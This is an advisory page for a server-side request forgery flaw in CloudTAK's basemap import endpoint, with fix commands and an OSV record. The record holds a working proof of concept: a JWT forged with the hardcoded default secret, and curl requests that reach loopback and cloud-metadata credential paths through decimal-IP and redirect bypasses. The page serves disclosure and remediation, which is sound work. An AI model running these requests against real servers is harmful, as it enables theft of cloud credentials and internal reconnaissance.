CVE-2026-54546: TAK-PS-Stats Web UI Authenticated Full-read SSRF Vulnerability
MODERATECVE-2026-54546 is a MODERATE (CVSS 5.0) authenticated full-read ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting TAK-PS-Stats Web UI libraries in the npm ecosystem. The issue involves authenticated full-read ssrf in cloudtak basemap import (put /api/basemap) — no ip-classification guard. Remediation is available by upgrading affected packages to version 13.22.1.
CVE-2026-54546 at a Glance
Security Impact
CVSS: 5.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N).
How to Fix CVE-2026-54546
To remediate this vulnerability, upgrade all affected TAK-PS-Stats Web UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @tak-ps/cloudtak@13.22.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @tak-ps/cloudtak
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-54546, inspect your project dependencies using npm:
npm ls @tak-ps/cloudtak
Analyze the terminal output to locate any version of TAK-PS-Stats Web UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.22.1), your application is affected.
Note: The npm ls @tak-ps/cloudtak command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In TAK-PS-Stats Web UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54546 Affected TAK-PS-Stats Web UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@tak-ps/cloudtak
|
npm |
< 13.22.1
|
13.22.1
|
References
Frequently Asked Questions
What is CVE-2026-54546?
Which TAK-PS-Stats Web UI versions are affected?
What version fixes CVE-2026-54546?
Is @tak-ps/cloudtak affected?
What is the CVSS score of CVE-2026-54546?
What CWE is associated with CVE-2026-54546?
How can I check npm dependencies for CVE-2026-54546?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vqrw-qphh-p34v",
"modified" : "2026-09-17T17:03:16Z",
"published" : "2026-07-17T19:02:37Z",
"aliases" : [ "CVE-2026-54546" ],
"summary" : "TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard",
"details" : "### Summary\n\n`PUT /api/basemap` (the basemap import endpoint) fetches an attacker-supplied URL server-side with **no SSRF protection whatsoever**. Any authenticated user can submit a JSON body `{ \"type\": \"...\", \"url\": \"<attacker url>\" }`; the server calls `fetch(url)` against that URL and then reflects the response body (`name`, `attribution`, `tiles[0]`, zoom levels) back to the caller in the `OptionalTileJSON` response.\n\nBecause there is no IP-address classification, internal-only services are reachable: cloud metadata (`http://169.254.169.254/...`), loopback (`http://127.0.0.1/...`), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a **full-read SSRF** (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.\n\nThe only URL check in the basemap protocol layer (`BasemapProtocol.isValidURL`, `api/lib/interface-basemap.ts`) validates the scheme is `http`/`https` only and performs **no host/IP filtering** — and the import path does not even call it; it goes straight from `new URL(rawURL)` to `fetch(url)`.\n\nThree independent bypass classes were confirmed end-to-end against a real deployed build:\n1. Direct internal/loopback IP literals.\n2. Alternate IP encodings (e.g. decimal `http://2130706433/` = `127.0.0.1`).\n3. Redirect following — `fetch` uses the default `redirect: 'follow'`, so even a public initial host that 302-redirects to an internal address is followed with no re-validation.\n\n### Vulnerable code (file:line)\n\n`api/routes/basemap.ts` — `importBasemapURL()` and the `PUT /basemap` handler (line numbers at commit `90d43bdd2fb7d9bd57cbce28c709d9e5207a475a`):\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136\n\n```ts\n// api/routes/basemap.ts\nasync function importBasemapURL(\n config: Config,\n rawURL: string,\n auth?: Static<typeof BasemapImportAuth>,\n): Promise<Static<typeof OptionalTileJSON>> {\n const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };\n\n let url: URL;\n try {\n url = new URL(rawURL); // (1) only well-formedness is checked\n } catch (err) {\n throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');\n }\n\n if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }\n\n const tjres = await fetch(url); // (2) SSRF sink — no host/IP guard, default redirect:follow\n if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');\n\n const tjbody = await tjres.json() as Record<string, any>;\n if (tjbody.name) imported.name = tjbody.name; // (3) internal response reflected to caller\n if (tjbody.attribution) imported.attribution = tjbody.attribution;\n if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {\n imported.url = tjbody.tiles[0]...;\n }\n return imported;\n}\n```\n\nThe handler at `api/routes/basemap.ts` L139–L233 mounts this as `PUT /api/basemap` and gates it only with `Auth.is_auth(config, req)` (L157), i.e. **any authenticated user** with `application/json` body `{ type, url }` reaches `importBasemapURL((req.body).url, (req.body).auth)`.\n\n`BasemapProtocol.isValidURL` at `api/lib/interface-basemap.ts` L136 — the only \"validation\" in the protocol layer — checks the scheme only and performs no IP filtering:\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148\n\n### How input reaches the sink\n\n1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.\n2. Attacker sends `PUT /api/basemap` with `Content-Type: application/json` and body `{ \"type\": \"...\", \"url\": \"<attacker url>\" }`.\n3. Handler `api/routes/basemap.ts` L155–L233 calls `Auth.is_auth(config, req)` (L157, any authenticated user passes) then `importBasemapURL(config, (req.body).url, (req.body).auth)` (L233).\n4. `importBasemapURL` (L68) does `new URL(rawURL)` (L79) and, for non-ESRI URLs, reaches `const tjres = await fetch(url)` (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; `fetch` uses the default `redirect: 'follow'`.\n5. The response JSON is parsed (L104) and `name` / `attribution` / `tiles[0]` are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.\n\n### Impact\n\nServer-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:\n\n- Read the cloud instance metadata endpoint (`http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>`) and exfiltrate temporary IAM credentials.\n- Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet.\n- Enumerate internal hosts/ports via response/timing differences.\n\nBecause the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.\n\n### Proof of concept\n\nEnd-to-end reproduction against a **real deployed CloudTAK API server** (not a unit harness). An internal-only sentinel HTTP service is bound to `127.0.0.1:9000` (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.\n\n1) Pinned install / build (v13.5.0, commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`):\n\n```bash\ngit clone https://github.com/dfpc-coe/CloudTAK.git\ncd CloudTAK && git checkout v13.5.0\ncd api && npm ci\n# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)\n```\n\n2) Deploy the real API server (test stack: SigningSecret defaults to the hardcoded `coe-wildland-fire`, migrations auto-apply, a default server row is auto-generated):\n\n```bash\ncd api\nStackName=test \\\nSigningSecret=coe-wildland-fire \\\nPOSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \\\nAPI_URL='http://localhost:5001' \\\nnpx tsx index.ts --noevents --nosinks --nogeofence\n# => \"ok - http://localhost:5001\"\n```\n\n3) Internal-only sentinel (`internal_sentinel.js`) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:\n\n```js\nconst http = require('http');\nconst fs = require('fs');\nconst srv = http.createServer((req, res) => {\n fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',\n `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\\n`);\n res.setHeader('Content-Type', 'application/json');\n res.end(JSON.stringify({\n name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',\n attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',\n tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],\n minzoom: 0, maxzoom: 19\n }));\n});\nsrv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));\n```\n\n```bash\nnode internal_sentinel.js &\n# A redirector for the redirect-follow variant, also loopback-only:\nnode -e \"require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')\" &\n```\n\n4) Attacker driver — mint a normal user JWT (signed with the deployed `SigningSecret`) and issue the three requests:\n\n```bash\nTOK=$(node -e \"console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))\")\n\n# (a) loopback / metadata-style path\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n -d '{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/\"}'\n\n# (b) decimal-IP encoding of 127.0.0.1\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n -d '{\"type\":\"raster\",\"url\":\"http://2130706433:9000/decimal-ip-bypass\"}'\n\n# (c) public-looking host that 302-redirects to internal (redirect:follow)\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n -d '{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9100/start\"}'\n```\n\n5) Captured output — all three return the internal sentinel's secret body to the attacker, and the loopback-only sentinel records the server-side hits:\n\n```\n# HTTP response body returned to the attacker for (a), (b) and (c):\n{\"type\":\"raster\",\"name\":\"INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c\",\n \"attribution\":\"leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e\",\n \"maxzoom\":19,\"minzoom\":0,\"url\":\"http://127.0.0.1:9000/internal/{$z}/{$x}/{$y}.png\",\"format\":\"png\"}\n\n# /tmp/ssrf_sentinel_hits.log (sentinel is bound to 127.0.0.1 only):\n[HIT 2026-06-03T05:01:13.606Z] GET /latest/meta-data/iam/security-credentials/ from=127.0.0.1\n[HIT 2026-06-03T05:01:29.099Z] GET /decimal-ip-bypass from=127.0.0.1\n[HIT 2026-06-03T05:01:30.151Z] GET /via-302-redirect from=127.0.0.1\n```\n\nThe `name` and `attribution` values returned to the attacker are read verbatim from the internal service's HTTP response, demonstrating full-read SSRF. In a real cloud deployment the equivalent request `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>` returns instance-role credentials.\n\n6) Negative control — a public host is fetched normally (the endpoint is not globally broken); only the *reachability* of internal addresses is the defect.\n\n### End-to-end reproduction (against pinned version)\n\nAll of the above was executed against a real deployed CloudTAK API server built from tag `v13.5.0` (commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`), booted with `StackName=test` against a PostGIS-enabled Postgres so migrations and routes load unmodified. The vulnerable build returned the internal sentinel's secret body (`INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c`, `leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e`) for all three bypass variants, and the loopback-only sentinel recorded the three server-side hits shown above.\n\nAfter applying the fix below to the same deployed build and restarting, the exact same three attacker requests instead return:\n\n```\n{\"status\":403,\"message\":\"URL resolves to a disallowed (internal) address\",\"messages\":[]}\n```\n\nand the sentinel log records **no** new hits, while `https://example.com/tile.json` continues to be fetched (returns `400 \"Unable to fetch TileJSON\"` — it reached the public host, the body just is not valid TileJSON). An `isBlockedIP` unit check passes 14/14: `169.254.169.254`, `127.0.0.1`, `10/8`, `172.16/12`, `192.168/16`, `100.64/10`, `::1`, `::ffff:127.0.0.1`, `fd00::/8`, `fe80::/10`, `64:ff9b::/96` all blocked; `8.8.8.8`, `1.1.1.1`, `93.184.216.34` all allowed.\n\n### Suggested fix\n\nAdd an SSRF guard that (1) resolves the target hostname via DNS and rejects the request if **any** resolved address falls in a loopback / private / link-local (incl. `169.254.0.0/16` cloud metadata) / CGNAT / IPv6-ULA / IPv4-mapped / NAT64 range, and (2) follows redirects manually, re-validating the `Location` of every hop so a 302 to an internal address cannot bypass the check. Apply it to the import sink at `api/routes/basemap.ts` (the `fetch(url)` call) and to the ESRI/metadata fetch paths in the same file.\n\nA self-contained `safeFetch(url)` helper (DNS resolution + per-hop re-validation) replacing the bare `fetch(url)` is sufficient; the same helper should back the other user-URL fetches in the basemap routes. A fix PR implementing exactly this guard is provided.\n\nNote: a literal-string/prefix host blocklist (e.g. matching `127.`, `10.`, `192.168.`) is **not** sufficient — it is bypassed by alternate IP encodings, IPv6-mapped forms, and DNS-rebinding hostnames. The guard must classify the **resolved** numeric address.\n\n### Severity\n\nHigh. Pre-conditions: a single authenticated CloudTAK user account (any role). Impact: server-side full-read access to internal-only HTTP services and the cloud metadata endpoint from the API server's network position, enabling theft of instance credentials and internal reconnaissance. No additional privileges or victim interaction required.\n\n### Fix PR link\n\nA fix PR implementing the DNS-resolving, redirect-re-validating `safeFetch` guard described above is provided to the maintainers via the private temporary fork associated with this advisory. The full guard source is also inlined under the Suggested fix section's reasoning above; the patch adds `api/lib/ssrf-guard.ts` and replaces the bare `fetch(url)` at `api/routes/basemap.ts` with `safeFetch(url)`.\n\n### Credits\n\nReported by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@tak-ps/cloudtak"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "13.22.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v"
}, {
"type" : "WEB",
"url" : "https://github.com/dfpc-coe/CloudTAK/pull/1513"
}, {
"type" : "WEB",
"url" : "https://github.com/dfpc-coe/CloudTAK/commit/1e0f6e65977c86fbc0aa15e308c43cbcaee23a7c"
}, {
"type" : "WEB",
"url" : "https://github.com/dfpc-coe/CloudTAK/commit/556b35632877802c7e9c818db44aef7a2c3abebf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dfpc-coe/CloudTAK"
}, {
"type" : "WEB",
"url" : "https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.22.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-17T19:02:37Z",
"nvd_published_at" : null
}
}